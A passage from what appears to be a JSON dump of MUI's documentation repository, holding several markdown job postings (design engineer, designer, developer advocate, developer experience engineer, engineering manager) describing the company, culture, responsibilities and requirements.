milestones to ship.\n- **Past work with infrastructure related work**.\n  Perhaps you've been responsible for setting up the CI for some of your company's projects, or you needed to write a Babel plugin for your custom needs.\n  It would be great if you could address this in your cover letter!\n\n### Nice to have (but not required)\n\n- **You've maintained an active repository before**.\n  Maybe you've helped maintain a popular open-source repository, or you've worked on internal repositories that saw contributions from multiple teams.\n  Previous experience with highly active repository workflows is a definite plus for this role.\n- **You have contributed code**. A history of contributing to MUI's open-source projects is a plus.\n\n## Benefits and compensation\n\nWe offer competitive compensation based on your experience and location, and we are prepared to pay top market rates for someone who can clearly exceed the expectations of the role.\nYou can find other perks and benefits on the [careers](https://mui.com/careers/#perks-and-benefits) page.\n\n## How to apply\n\n[Apply now for this position 📮](https://jobs.ashbyhq.com/MUI/a2e74037-a44a-471b-9ac5-c1a0408034e7/application?utm_source=ZNRrPGBkqO)\n\nDon't meet every requirement?\nApply anyway!\nResearch shows that certain folks are less likely to apply for a role than others [unless they meet 100%](https://hbr.org/2014/08/why-women-dont-apply-for-jobs-unless-theyre-100-qualified) of the outlined qualifications.\nIf this role excites you, we want to hear from you.\nWe'd love for you to share the unique skills, passion, and experience you could bring to MUI.\n"
  },
  {
    "path": "docs/pages/careers/design-engineer-x-grid.md",
    "content": "# Design Engineer — xGrid\n\n<p class=\"description\">You will design and implement a great user and developer experience for the MUI X Data Grid.</p>\n\n## Details of the role\n\n- **Location**: Remote (strong preference for UTC-6 to UTC+5).\n- **Type of work**: Full-time (contractor or employee [depending on circumstances](https://mui-org.notion.site/Hiring-FAQ-64763b756ae44c37b47b081f98915501#494af1f358794028beb4b7697b5d3102)).\n- **Level**: [IC4 or above](https://mui-org.notion.site/Leveling-at-MUI-5c30f9bfe65149d697f346447cef9db1).\n- We're a **remote** company, we prefer asynchronous communication over meetings.\n\n## The company\n\nMUI's story began in 2014 with Material UI, the most successful React implementation of Google's Material Design.\nToday, Material UI stands as one of the most popular open-source libraries on GitHub and has paved the way for the fully-fledged startup known as MUI (founded in 2019), which now boasts an ever-expanding ecosystem of React UI products.\nWe're a company of 40 people as of 2025, and we're growing steadily.\n\n## The products\n\nMUI is best known for our flagship product, Material UI—but this is just one of three core component libraries we maintain.\nBase UI is our headless component library, and Joy UI is a sister library to Material UI that implements our own in-house Joy Design system.\nWe also host Design Kits and pre-built Templates.\n\nBeyond the core libraries, MUI X offers advanced components like the Data Grid, Date and Time Pickers, and Charts, for more complex user interactions and data visualization needs.\n\nLearn more about MUI's products in this blog post: [An introduction to the MUI ecosystem](https://mui.com/blog/mui-product-comparison/).\n\n## The culture\n\nMUI is a fully remote company with a team that spans the globe.\nThe majority of our work is asynchronous, and we rely on written communication to collaborate.\nWe're radically transparent: nearly all of our work happens in public.\nEach contributor has the freedom to decide how and when they work, and that work is primarily self-directed: it's your responsibility to define and complete your own tasks in a timely manner.\n\nFor additional details about the culture, you can check our [careers](https://mui.com/careers/) and [about](https://mui.com/about/) pages and also our [public Handbook](https://mui-org.notion.site/Handbook-f086d47e10794d5e839aef9dc67f324b).\n\n## Why we're hiring\n\n[According to our last survey](https://mui.com/blog/2021-developer-survey-results/#what-are-your-most-important-criteria-for-choosing-a-ui-library), the quality of the design execution (UX & UI) is the most important criterion used by developers & designers to choose a component UI library.\n\nIt's an even bigger problem when developers work on projects around a single major component, like the Data Grid. It's not just the interaction that needs to feel great but the developer experience of working with that component also needs to be excellent, to allow a smooth integration with the rest of their app.\n\nUp until now, we're solving a subset of these problems by smoothly integrating the MUI X Data Grid with Material UI.\nBut the time has come to take a step further and double down on design by expanding the Data Grid capacities to integrate nicely with _any_ React project rather than just a Material UI-based one.\n\nOverall, both our open-source community and our premium products are growing fast.\nWe need talented people to keep up with the demands of our exigent community!\n\n### Why this is interesting\n\nDeveloping and designing components for advanced use cases is not an easy feat.\nIt's an intricate challenge to craft customizable, feature-rich, and performative components while having them look great out of the box.\n\nWithin the MUI X team, you'll be facing this challenge head-on!\nWe want to serve demanding customers by making their experience building data-heavy and complex applications much smoother with reliable, advanced React components.\n\nThere aren't a lot of benchmarks out there.\nSo, by combining top-notch engineering with sleek product design, you'll be pioneering a whole different area of UI component development.\n\n## The role\n\n### Key responsibilities\n\nThe Design Engineer role sits right at the intersection between product design and software engineering. So, depending on the initiative, your day can be entirely different! Here's what you'll be able to do:\n\n- **Contribute to feature releases and deep refactors**.\n  MUI X is a complex codebase. Components we've shipped recently, such as the Data Grid and Date and Time Pickers, require months of dedicated, careful work.\n- **Design for engineers and their end users**.\n  As an engineer yourself, you can understand the problems developers face, and you will help them overcome those problems by delivering amazing DX and enabling them to create powerful UX for their end users.\n  This might involve careful API design, identifying and fixing top bugs, creating easy-to-understand error messages, and writing documentation and blog posts about features you and your team ship.\n- **Collaborate with the open-source community**.\n  The community contributes with many meaningful features and fixes. You'll guide and support them helping MUI X's growth while inspiring many others to join the ride, too.\n- **Experiment and play**. Great, unexpected features and heisenbug fixes have come from a number of sources — relentlessly methodical processes of elimination, free-flowing team collaboration, inspiration from adjacent libraries and projects, and difficult-to-explain individual strokes of brilliance. Whatever your preferred style is for creating new things that others might not have thought of, you'll find a welcome home on the team.\n- **Take ownership of features from idea/mockup to live deployment**.\n  You'll shape and guide the direction of crucial new features, including new components.\n- **You'll be interacting with customers** regularly, handling inbound support and feature requests (every developer helps with developer requests).\n- **Bridge the gap between design and engineering**.\n  Sometimes, you'll be sketching new features on Figma. On other days, you'll be prototyping them in code.\n\n### Challenges you'll face\n\n- **Context switching**.\n  As a small team, sometimes priorities shift fast, requiring you to dive into an entirely different feature you're unfamiliar with. It's challenging to get used to but rewarding.\n- **Moving fast without sacrificing quality**.\n  Given our product is essentially code, our users and customers are incredibly demanding. To serve them the best way possible, we need to ship incredibly high-quality code quickly. However, sometimes we need to exchange going 100% into solving an issue, to instead aim for 50 to 70%, for a faster feedback cycle.\n- **Open-source: The nonstop stream of bug reports and support requests**. You'll frequently have your attention challenged given community requests keep pouring in. It will require you to develop an intuition for when to ignore something for later vs. when to dig in immediately as it could be a valuable improvement opportunity.\n\n## Who we're looking for\n\n### Required\n\n- 3+ years of web front-end development at product-driven companies\n- Advanced knowledge of modern React, HTML, and CSS\n- Great understanding and taste in product design\n- Experience with design systems\n- You're highly empathetic\n- Strong written and verbal communication skills\n\n### Nice to have (but not required)\n\n- Experience in open-source\n- Experience with MUI products\n\n## Benefits and compensation\n\nCompetitive compensation depending on the profile and location.\nWe are ready to pay top market rates for a person who can clearly exceed the role's expectations.\nYou can find the other perks & benefits on the [careers](https://mui.com/careers/#perks-and-benefits) page.\n\n## How to apply\n\n[Apply now for this position 📮](https://jobs.ashbyhq.com/MUI/5a1c18de-e0b5-4253-aca1-e3f261112920/application?utm_source=ZNRrPGBkqO)\n\nDon't meet every requirement?\nApply anyway!\nResearch shows that certain folks are less likely to apply for a role than others [unless they meet 100%](https://hbr.org/2014/08/why-women-dont-apply-for-jobs-unless-theyre-100-qualified) of the outlined qualifications.\nIf this role excites you, we want to hear from you.\nWe'd love for you to share the unique skills, passion, and experience you could bring to MUI.\n"
  },
  {
    "path": "docs/pages/careers/design-engineer.md",
    "content": "# Design Engineer (future role)\n\n<p class=\"description\">You will focus on design to implement great product experiences.</p>\n\n## Details of the role\n\n- **Location**: Remote (preference for UTC-6 to UTC+5).\n- **Type of work**: Full-time (contractor or employee [depending on circumstances](https://mui-org.notion.site/Hiring-FAQ-64763b756ae44c37b47b081f98915501#494af1f358794028beb4b7697b5d3102)).\n- **Level**: [IC4 or above](https://mui-org.notion.site/Leveling-at-MUI-5c30f9bfe65149d697f346447cef9db1).\n- We're a **remote** company, we prefer asynchronous communication over meetings.\n\n## The company\n\nMUI's story began in 2014 with Material UI, the most successful React implementation of Google's Material Design.\nToday, Material UI stands as one of the most popular open-source libraries on GitHub and has paved the way for the fully-fledged startup known as MUI (founded in 2019), which now boasts an ever-expanding ecosystem of React UI products.\nWe're a company of 40 people as of 2025, and we're growing steadily.\n\n## The products\n\nMUI is best known for our flagship product, Material UI—but this is just one of three core component libraries we maintain.\nBase UI is our headless component library, and Joy UI is a sister library to Material UI that implements our own in-house Joy Design system.\nWe also host Design Kits and pre-built Templates.\n\nBeyond the core libraries, MUI X offers advanced components like the Data Grid, Date and Time Pickers, and Charts, for more complex user interactions and data visualization needs.\n\nLearn more about MUI's products in this blog post: [An introduction to the MUI ecosystem](https://mui.com/blog/mui-product-comparison/).\n\n## The culture\n\nMUI is a fully remote company with a team that spans the globe.\nThe majority of our work is asynchronous, and we rely on written communication to collaborate.\nWe're radically transparent: nearly all of our work happens in public.\nEach contributor has the freedom to decide how and when they work, and that work is primarily self-directed: it's your responsibility to define and complete your own tasks in a timely manner.\n\nFor additional details about the culture, you can check our [careers](https://mui.com/careers/) and [about](https://mui.com/about/) pages and also our [public Handbook](https://mui-org.notion.site/Handbook-f086d47e10794d5e839aef9dc67f324b).\n\n## Why we're hiring\n\nWe are aiming to make high-end design accessible to the many, empowering developers that lack access to a designer as well as saving time for designers with a source they can trust.\n[According to our last survey](https://mui.com/blog/2021-developer-survey-results/#what-are-your-most-important-criteria-for-choosing-a-ui-library), the quality of the design execution (UX & UI) is the most important criteria used by developers & designers to pick their next UI library.\n\nOverall, both our open-source community and our premium products are growing fast.\nWe need talented people to keep up with the demands of our exigent community!\n\n### Why this is interesting\n\nOur products empower React developers to build awesome applications faster – we see millions of developers on MUI's docs every year, one million a month.\n\nBut while we are [the leading](https://tsh.io/state-of-frontend/#over-the-past-year-which-of-the-following-design-systems-was-your-favorite-go-to-solution) UI design system in the frontend space, the adoption of MUI is only at 25%. More importantly, the challenges of developers and designers to solve when creating UIs go way beyond the ones of design systems.\nWe envision a future where MUI becomes the default toolkit for web developers to create UIs.\nIt's why we started Base UI, Joy UI, and Toolpad. Design is key to achieving this goal.\n\n## The role\n\n### Key responsibilities\n\nDepending on the day, you'll:\n\n- Work closely with our designers to prototype and implement new components, features, and screens.\n- Design and build entire experiences for sites like mui.com or products like Toolpad.\n- Concept and prototype UX components and motion studies for components like the date picker.\n- Extend our different design systems (Material UI, Joy UI).\n- Create appealing new demos in the docs.\n\n## Who we're looking for\n\n### Required\n\n- 3+ years of relevant web front-end development experience at a tech-forward, product-driven company.\n- Advanced knowledge of modern React, HTML, and CSS.\n- Experience designing and building public-facing sites that work elegantly.\n\n### Nice to have (but not required)\n\n- A good understanding of the formal elements of design, not just limited to the web and including typography, layout, balance, and proportion.\n\n## Benefits and compensation\n\nCompetitive compensation depending on the profile and location.\nWe are ready to pay top market rates for a person who can clearly exceed the role's expectations.\nYou can find the other perks & benefits on the [careers](https://mui.com/careers/#perks-and-benefits) page.\n\n## How to apply\n\n[Apply now for this position 📮](https://jobs.ashbyhq.com/MUI/c45a0b2d-aa37-4dec-8bcd-e70040f3af49/application?utm_source=ZNRrPGBkqO)\n\nDon't meet every requirement?\nApply anyway!\nResearch shows that certain folks are less likely to apply for a role than others [unless they meet 100%](https://hbr.org/2014/08/why-women-dont-apply-for-jobs-unless-theyre-100-qualified) of the outlined qualifications.\nIf this role excites you, we want to hear from you.\nWe'd love for you to share the unique skills, passion, and experience you could bring to MUI.\n"
  },
  {
    "path": "docs/pages/careers/designer.md",
    "content": "# Designer\n\n<p class=\"description\">Design is critical to our success. We're looking for skills that complement those of our Lead Designer. You'll help to design the tools that enable our audience to build outstanding-looking UIs.</p>\n\n## The company\n\nMUI's story began in 2014 with Material UI, the most successful React implementation of Google's Material Design.\nToday, Material UI stands as one of the most popular open-source libraries on GitHub and has paved the way for the fully-fledged startup known as MUI (founded in 2019), which now boasts an ever-expanding ecosystem of React UI products.\nWe're a company of 40 people as of 2025, and we're growing steadily.\n\n## The products\n\nMUI is best known for our flagship product, Material UI—but this is just one of three core component libraries we maintain.\nBase UI is our headless component library, and Joy UI is a sister library to Material UI that implements our own in-house Joy Design system.\nWe also host Design Kits and pre-built Templates.\n\nBeyond the core libraries, MUI X offers advanced components like the Data Grid, Date and Time Pickers, and Charts, for more complex user interactions and data visualization needs.\n\nLearn more about MUI's products in this blog post: [An introduction to the MUI ecosystem](https://mui.com/blog/mui-product-comparison/).\n\n## The culture\n\nMUI is a fully remote company with a team that spans the globe.\nThe majority of our work is asynchronous, and we rely on written communication to collaborate.\nWe're radically transparent: nearly all of our work happens in public.\nEach contributor has the freedom to decide how and when they work, and that work is primarily self-directed: it's your responsibility to define and complete your own tasks in a timely manner.\n\nFor additional details about the culture, you can check our [careers](https://mui.com/careers/) and [about](https://mui.com/about/) pages and also our [public Handbook](https://mui-org.notion.site/Handbook-f086d47e10794d5e839aef9dc67f324b).\n\n## Why we're hiring\n\nMaterial UI started as an open-source project.\nOver time, the audience and usage grew considerably, and some of the library's early contributors became full-time maintainers.\nA company was incorporated to support this growth, and more recently [was rebranded from Material UI to MUI](https://mui.com/blog/material-ui-is-now-mui/).\nThe new brand was fundamental to set the stage for MUI to become larger than Material Design, which was something we were already doing.\nCurrently, we have five main projects that are not at all related to MD:\n\n- [MUI Core](https://mui.com/core/):\n  - [Base UI](https://v6.mui.com/base-ui/getting-started/): the unstyled version of the components.\n  - [MUI System](https://mui.com/system/getting-started/): our most recent take on styling for React components.\n  - [MUI Joy (working title)](https://github.com/mui/material-ui/discussions/29024): a second design system as an alternative to Material Design.\n- [MUI X](https://mui.com/x/): as mentioned, a growing set of advanced components.\n  Today, the flagship is the [Data Grid](https://mui.com/x/react-data-grid/), a game-changing component for presenting large amounts of data, which integrates perfectly with MUI Core.\n- Toolpad: a very recent endeavor aimed at exploring how our users can visually create apps 10x faster with the power of low-code and the flexibility of pro-code.\n\nWe also know, especially due to [our annual Developer Survey](https://mui.com/blog/2021-developer-survey-results/), that design quality plays a huge part when developers are considering component library options.\nTherefore, we need to grow the design team to help us push these initiatives further.\n\n## The role\n\nSome criteria for applying to this role:\n\n- **Location**: fully remote (preference for UTC-6 to UTC +3).\n- **Type of work**: full-time (as a contractor or employee, [depending primarily on location](https://mui-org.notion.site/Hiring-FAQ-64763b756ae44c37b47b081f98915501)).\n- **Level**: [IC3 or above](https://mui-org.notion.site/Design-levels-aa01996ca7e0481e80479ad47c8f28a4).\n\nWe need someone experienced enough to help two different teams with hard problems.\nYou'll be responsible for ensuring that the Toolpad and MUI X teams have spot-on design and product work.\nGiven that each product is at a different stage, at this moment we believe that one person is enough to oversee the design function for both teams.\nYou'll have the freedom, trust, and help you need to balance and tackle all the work.\nYou'll also be the second designer of a growing design team, so we'll also need your help to shape this growth.\n\n### Here are a few initiatives you might work on\n\n- Help design the first version of Toolpad, from early strategy to its look and feel.\n- Evolve and refine the Data Grid UX for features such as filtering, column pinning, row editing, and more.\n- Help set the bar higher for MUI X documentation, from visual design to copywriting.\n- Support the design team growth by promoting design/product culture, and hiring new members.\n\n### You might fit for this role if you\n\n- See yourself as a generalist designer, tackling problems ranging from strategic thinking to execution. (More insight in the [first draft of our design philosophy](https://mui-org.notion.site/Design-philosophy-bdbef60d6fad4134a43870df3e452ebc), available in our public Handbook).\n- Have excellent visual and interaction design skills.\n- Consider yourself a great communicator, both written and verbal.\n  Designers are key players when it comes to creating alignment and shared understanding, whether with internal or external stakeholders.\n- Feel comfortable around code and git (we use GitHub).\n  Developers are MUI's main audience, so it's very important to experience our technology for yourself, to empathize with our users.\n  You should be capable of tweaking JSX and CSS, ensuring that your designs are implemented with the highest fidelity.\n  But don't worry, you'll always have the support of your teams' developers.\n\nPrevious experience with design systems would be great but is not required.\n\n## Benefits and compensation\n\nWe offer competitive compensation, aligned with your profile and location.\nWe're ready to pay top market rates for a designer that can significantly push the mission forward.\nOther perks are described on [the careers page](https://mui.com/careers/#perks-and-benefits).\n\n## How to apply\n\n[Apply now for this position 📮](https://jobs.ashbyhq.com/MUI/__ID__/application?utm_source=ZNRrPGBkqO).\n\n## What happens next?\n\nWe start by screening applications, looking for designers that showcase the desired skills and experience.\nIf your application stands out, we'll contact you for a get-to-know conversation, where we'll meet each other.\n\nIf that goes well, you'll be invited to up to four additional conversations, those being:\n\n- A walkthrough of one or two selected projects that you believe demonstrate [comparable experience.](https://articles.uie.com/ux-hiring-lets-talk-about-comparable-experience/)\n- A chat with one of the product managers or engineers that you will work closely with.\n- A chat with one of MUI's founders.\n- A possible follow-up chat if we missed addressing anything relevant in the previous conversations.\n\nAll these conversations will be 1:1 and over video chat.\nPlease ask as many questions as you wish throughout the whole process, it's a two-way discussion.\nIf you happen to need additional conversations as well, feel free to ask; we'll be happy to schedule them.\nLastly, please note that we're unable to offer individual feedback during the initial screening process, as we're a small team and don't have the bandwidth to do so.\n\nWe look forward to hearing from you! ☺️\n\nDon't meet every requirement?\nApply anyway!\nResearch shows that certain folks are less likely to apply for a role than others [unless they meet 100%](https://hbr.org/2014/08/why-women-dont-apply-for-jobs-unless-theyre-100-qualified) of the outlined qualifications.\nIf this role excites you, we want to hear from you.\nWe'd love for you to share the unique skills, passion, and experience you could bring to MUI.\n"
  },
  {
    "path": "docs/pages/careers/developer-advocate.md",
    "content": "# Developer Advocate / Content Engineer\n\n<p class=\"description\">You will strategize and implement educational initiatives from end to end to help developers build better UIs, faster.</p>\n\n## Details of the role\n\n- **Location**: Remote (strong preference for UTC-5 to UTC+2 in North America or Europe).\n- **Type of work**: Full-time (contractor or employee [depending on circumstances](https://mui-org.notion.site/Hiring-FAQ-64763b756ae44c37b47b081f98915501#494af1f358794028beb4b7697b5d3102)).\n- **Level**: [IC4 or above](https://mui-org.notion.site/Leveling-at-MUI-5c30f9bfe65149d697f346447cef9db1).\n- We're a **remote** company, we prefer asynchronous communication over meetings.\n\n## The company\n\nMUI's story began in 2014 with Material UI, the most successful React implementation of Google's Material Design.\nToday, Material UI stands as one of the most popular open-source libraries on GitHub and has paved the way for the fully-fledged startup known as MUI (founded in 2019), which now boasts an ever-expanding ecosystem of React UI products.\nWe're a company of 40 people as of 2025, and we're growing steadily.\n\n## The products\n\nMUI is best known for our flagship product, Material UI—but this is just one of three core component libraries we maintain.\nBase UI is our headless component library, and Joy UI is a sister library to Material UI that implements our own in-house Joy Design system.\nWe also host Design Kits and pre-built Templates.\n\nBeyond the core libraries, MUI X offers advanced components like the Data Grid, Date and Time Pickers, and Charts, for more complex user interactions and data visualization needs.\n\nLearn more about MUI's products in this blog post: [An introduction to the MUI ecosystem](https://mui.com/blog/mui-product-comparison/). (This is also the kind of content you might create!)\n\n## The culture\n\nMUI is a fully remote company with a team that spans the globe.\nThe majority of our work is asynchronous, and we rely on written communication to collaborate.\nWe're radically transparent: nearly all of our work happens in public.\nEach contributor has the freedom to decide how and when they work, and that work is primarily self-directed: it's your responsibility to define and complete your own tasks in a timely manner.\n\nLearn more about what we value as an organization: [Evolving MUI's core values and behaviors](https://mui.com/blog/2023-mui-values/).\n\n## Why we're hiring\n\nMUI's DevEx program is currently maintained by a \"team\" of one, and that one person devotes the majority of their time to documentation and written technical content.\n\nOur users [consistently rank documentation](https://mui.com/blog/2021-developer-survey-results/#what-are-your-most-important-criteria-for-choosing-a-ui-library) as one of the most important factors in deciding whether or not to build with our products, and many users express dissatisfaction with the rather steep learning curve that they face when onboarding.\n\nWith that in mind, we're looking to grow the DevEx team, with a second individual who can dig deep into improving the documentation experience and expand our output of educational materials, to ease the learning curve, improve the product, and inspire users with great examples of what's possible with our libraries.\n\n## The role\n\nMUI's Developer Experience program consists of three key pillars—Education, Documentation, and Community—which all contribute to the company's primary goal: to help developers build beautiful user interfaces quickly and efficiently.\n\nAs our next Developer Advocate, you will focus your efforts on the creation of educational content and documentation initiatives.\nYou may also need to work on projects related to product DX and documentation engineering depending on where the biggest improvement opportunities are.\nThis role isn't centered on public speaking or community relations but this might be needed from time to time.\n\nYou will also have frequent opportunities to shape the DevEx roadmap and contribute to product roadmaps by gathering feedback from the community and voicing the needs of users.\n\nCheck out [The Radiating Circles of DX](https://dx.tips/circles) to better understand how we think about this role.\nFrom the perspective of that framework, you would pioneer the Content layer while contributing to the Docs and Product layers depending on where the problem is best solved (the closer to the root the better).\n\n### Key responsibilities\n\nDepending on the day, you'll:\n\n- Create inspiring educational materials (demo apps, how-to guides, integration examples, tutorials) for devs of all skill levels\n- Seek out and implement improvements to the documentation\n- Contribute to the docs infrastructure, docs UX, or directly to the product depending on where the problem is best solved (the closer to the root the better).\n- Engage with the community and gather feedback for product teams\n- Serve as the \"voice\" of the company through social media, conferences, and events\n\nFor the right candidate:\n\n- Lead the Developer Experience team; work with the company leadership to construct and execute a hiring plan to grow the team\n\n### Tasks and initiatives you might take on\n\n- Create tutorials to ease the migration from competitor products\n- Improve the Algolia search experience\n- Own community GitHub issues or PRs related to developer experience\n- Build example apps with MUI products and create how-to content around them\n- Research and write case studies\n- Overhaul the [Showcase](https://mui.com/material-ui/discover-more/showcase/)\n- Revamp the company blog infrastructure to empower less technical teammates to contribute (for example HR)\n- Contribute to integrations with other popular libraries and frameworks\n- Create a learning section in the documentation for hybrid written and video tutorials\n\n## Who we're looking for\n\n### Required\n\n- You're passionate about UI development\n- You're excited about helping engineers build amazing UIs\n- You're highly empathetic\n- Fluent written and spoken English skills—native speakers preferred\n- Hands-on developer and skilled React engineer\n- Experience as a teacher, tutor, or mentor\n- Experience as a technical writer or content creator\n- Good product design sensibilities\n- Basic design skills\n\n### Nice to have (but not required)\n\n- Great product design sensibilities\n- Good design skills\n- Experience in open-source\n- Experience with design systems\n- Experience with MUI products\n- Experience with public speaking\n- Experience creating video content\n- Experience in community building (online or in person)\n\n## Benefits and compensation\n\nCompetitive compensation depending on the profile and location.\nWe are ready to pay top market rates for a person who can clearly exceed the role's expectations.\nYou can find the other perks & benefits on the [careers](https://mui.com/careers/#perks-and-benefits) page.\n\n## How to apply\n\n[Apply now for this position 📮](https://jobs.ashbyhq.com/MUI/28287eeb-88d2-465f-96d7-e7fd99fabd7d/application?utm_source=ZNRrPGBkqO)\n\nDon't meet every requirement?\nApply anyway!\nResearch shows that certain folks are less likely to apply for a role than others [unless they meet 100%](https://hbr.org/2014/08/why-women-dont-apply-for-jobs-unless-theyre-100-qualified) of the outlined qualifications.\nIf this role excites you, we want to hear from you.\nWe'd love for you to share the unique skills, passion, and experience you could bring to MUI.\n"
  },
  {
    "path": "docs/pages/careers/developer-experience-engineer.md",
    "content": "# Developer Experience Engineer — Core\n\n<p class=\"description\">You will focus on providing experiences that delight developers using MUI. This role is mostly about MUI Core.</p>\n\n## Details of the role\n\n- **Location**: Remote (preference for UTC-6 to UTC+2).\n- **Type of work**: Full-time (contractor or employee [depending on circumstances](https://mui-org.notion.site/Hiring-FAQ-64763b756ae44c37b47b081f98915501#494af1f358794028beb4b7697b5d3102)).\n- **Level**: [IC4 or above](https://mui-org.notion.site/Leveling-at-MUI-5c30f9bfe65149d697f346447cef9db1).\n- We're a **remote** company, we prefer asynchronous communication over meetings.\n\n## The company\n\nMUI's story began in 2014 with Material UI, the most successful React implementation of Google's Material Design.\nToday, Material UI stands as one of the most popular open-source libraries on GitHub and has paved the way for the fully-fledged startup known as MUI (founded in 2019), which now boasts an ever-expanding ecosystem of React UI products.\nWe're a company of 40 people as of 2025, and we're growing steadily.\n\n## The products\n\nMUI is best known for our flagship product, Material UI—but this is just one of three core component libraries we maintain.\nBase UI is our headless component library, and Joy UI is a sister library to Material UI that implements our own in-house Joy Design system.\nWe also host Design Kits and pre-built Templates.\n\nBeyond the core libraries, MUI X offers advanced components like the Data Grid, Date and Time Pickers, and Charts, for more complex user interactions and data visualization needs.\n\nLearn more about MUI's products in this blog post: [An introduction to the MUI ecosystem](https://mui.com/blog/mui-product-comparison/).\n\n## The culture\n\nMUI is a fully remote company with a team that spans the globe.\nThe majority of our work is asynchronous, and we rely on written communication to collaborate.\nWe're radically transparent: nearly all of our work happens in public.\nEach contributor has the freedom to decide how and when they work, and that work is primarily self-directed: it's your responsibility to define and complete your own tasks in a timely manner.\n\nFor additional details about the culture, you can check our [careers](https://mui.com/careers/) and [about](https://mui.com/about/) pages and also our [public Handbook](https://mui-org.notion.site/Handbook-f086d47e10794d5e839aef9dc67f324b).\n\n## Why we're hiring\n\nDeveloper Experience matters, [a lot](https://future.com/the-case-for-developer-experience/).\nWe are looking for somebody to build the best developer experience ever created around a component library, earning the love of developers everywhere.\nThis is about focusing on the outcome: success, that developers can have a wonderful workflow with our product.\n\nWe are looking for someone that can contribute to the following outcomes:\n\n- Amplify the need of the community so the product direction aims at what people need the most.\n- Improve the overall developer experience, resulting in better NPS & CSAT scores.\n- Create momentum in the React community and drive adoption of the library.\n\nOverall, both our open-source community and our premium products are growing fast.\nWe need talented people to keep up with the demands of our exigent community!\n\n### Why this is interesting\n\nYou have a lot of feedback, more than we can process. It's an opportunity to challenge the state of the art in the React component dev tool space.\n\nOur products empower React developers to build awesome applications faster – we see millions of developers on MUI's docs every year, one million a month.\n\n## The role\n\n### Key responsibilities\n\nDepending on the day, you'll:\n\n- You will collaborate with Developer Advocates, Designers, Product Managers, Engineering Managers, Marketing, and other stakeholders to identify opportunities for improvement.\n- Inform the technical approach and architecture of MUI as it relates to developer experiences.\n- Help contribute to the MUI community by providing code review, mentorship, and support to MUI employees, community members, and partners.\n- Advocate and support improvements to MUI to improve development and integration of tools and plugins, for example Storybook, Tailwind CSS.\n- Work on issues and improvements critical to the success of MUI users and the broader community.\n- Foster a culture of learning through iterative improvements and strong collaboration with UX research.\n\nFor the right candidate:\n\n- Working with the Leadership to construct and execute on a hiring plan to grow the Developer Experience team.\n\n## Who we're looking for\n\n### Required\n\n- **A track record of demonstrating an eye for product and solving real-world user problems.** If you have a knack for solving problems at the root cause, shipping beautiful user interfaces and intuitive APIs, we want you on our team.\n- **Expertise in the modern JavaScript ecosystem**.\n  MUI's open-source projects are built on the shoulders of giants, making use of technologies such as ES2021, TypeScript, Node.js, React, Next.js, webpack, and Babel.\n- **Strong written and verbal communication skills**.\n  As part of the team, you'll interface both directly and indirectly with community members and enterprise customers, and contribute to user documentation. Clear communication is fundamental in creating intuitive and compelling resources.\n- **Ability to dive into complex problems**.\n  You should be able to quickly assess, understand, and iterate upon aspects of our codebase.\n- **Ready and willing to ask and answer questions**.\n  If you're comfortable saying you're unsure, asking for help; but equally reaching out to assist others, you'll be an incredible addition to our team. We thrive because of continuous learning. First-time mistakes should be celebrated, not blamed.\n- **Past work with front-end infrastructure**.\n  Perhaps you've created your company's design system, written a Babel plugin, or written complex React components.\n  It would be great if you could address this in your cover letter!\n\n### Nice to have (but not required)\n\n- **You've contributed to a design system before**.\n  You have worked on enterprise components in the past, maybe for internal use in your company.\n  You have built complex and advanced features while making sure the accessibility was fully functional.\n- **You've maintained an active repository before**.\n  Maybe you've helped maintain a popular open-source repository, or perhaps you've worked on internal repositories that saw contributions from multiple teams.\n  Previous experience with highly active repository workflows is a definite plus for this role.\n- **You have contributed code**. A history of contributing to MUI's open-source projects is a plus.\n\n## Benefits and compensation\n\nCompetitive compensation depending on the profile and location.\nWe are ready to pay top market rates for a person who can clearly exceed the role's expectations.\nYou can find the other perks & benefits on the [careers](https://mui.com/careers/#perks-and-benefits) page.\n\n## How to apply\n\n[Apply now for this position 📮](https://jobs.ashbyhq.com/MUI/__ID__/application?utm_source=ZNRrPGBkqO)\n\nDon't meet every requirement?\nApply anyway!\nResearch shows that certain folks are less likely to apply for a role than others [unless they meet 100%](https://hbr.org/2014/08/why-women-dont-apply-for-jobs-unless-theyre-100-qualified) of the outlined qualifications.\nIf this role excites you, we want to hear from you.\nWe'd love for you to share the unique skills, passion, and experience you could bring to MUI.\n"
  },
  {
    "path": "docs/pages/careers/engineering-manager.md",
    "content": "# Engineering Manager — Toolpad\n\n<p class=\"description\">You will grow the small engineering team currently working on Toolpad.</p>\n\n## Details of the role\n\n- **Location**: Remote (preference for UTC-6 to UTC+5).\n- **Type of work**: Full-time (contractor or employee [depending on circumstances](https://mui-org.notion.site/Hiring-FAQ-64763b756ae44c37b47b081f98915501#494af1f358794028beb4b7697b5d3102)).\n- **Level**: [IC4 or above](https://mui-org.notion.site/Leveling-at-MUI-5c30f9bfe65149d697f346447cef9db1).\n- We're a **remote** company, we prefer asynchronous communication over meetings.\n\n## The company\n\nMUI's story began in 2014 with Material UI, the most successful React implementation of Google's Material Design.\nToday, Material UI stands as one of the most popular open-source libraries on GitHub and has paved the way for the fully-fledged startup known as MUI (founded in 2019), which now boasts an ever-expanding ecosystem of React UI products.\nWe're a company of 40 people as of 2025, and we're growing steadily.\n\n## The products\n\nMUI is best known for our flagship product, Material UI—but this is just one of three core component libraries we maintain.\nBase UI is our headless component library, and Joy UI is a sister library to Material UI that implements our own in-house Joy Design system.\nWe also host Design Kits and pre-built Templates.\n\nBeyond the core libraries, MUI X offers advanced components like the Data Grid, Date and Time Pickers, and Charts, for more complex user interactions and data visualization needs.\n\nLearn more about MUI's products in this blog post: [An introduction to the MUI ecosystem](https://mui.com/blog/mui-product-comparison/).\n\n## The culture\n\nMUI is a fully remote company with a team that spans the globe.\nThe majority of our work is asynchronous, and we rely on written communication to collaborate.\nWe're radically transparent: nearly all of our work happens in public.\nEach contributor has the freedom to decide how and when they work, and that work is primarily self-directed: it's your responsibility to define and complete your own tasks in a timely manner.\n\nFor additional details about the culture, you can check our [careers](https://mui.com/careers/) and [about](https://mui.com/about/) pages and also our [public Handbook](https://mui-org.notion.site/Handbook-f086d47e10794d5e839aef9dc67f324b).\n\n## Why we're hiring\n\nOur mission is to empower as many people as possible to build great UIs, faster.\nThe faster and simpler it is, and the broader the audience that can create custom UIs, the better.\nWe believe that the best way to improve on these dimensions is to eliminate [80%](https://www.youtube.com/watch?v=GnO7D5UaDig&t=2451s) of the code that has to be written.\n\nA few months back work started on [Toolpad](https://github.com/mui/toolpad), an ambitious project to deliver on this objective.\nWe have found the beginning of a market fit in this low-code segment.\nWe need help to structure & grow the engineering 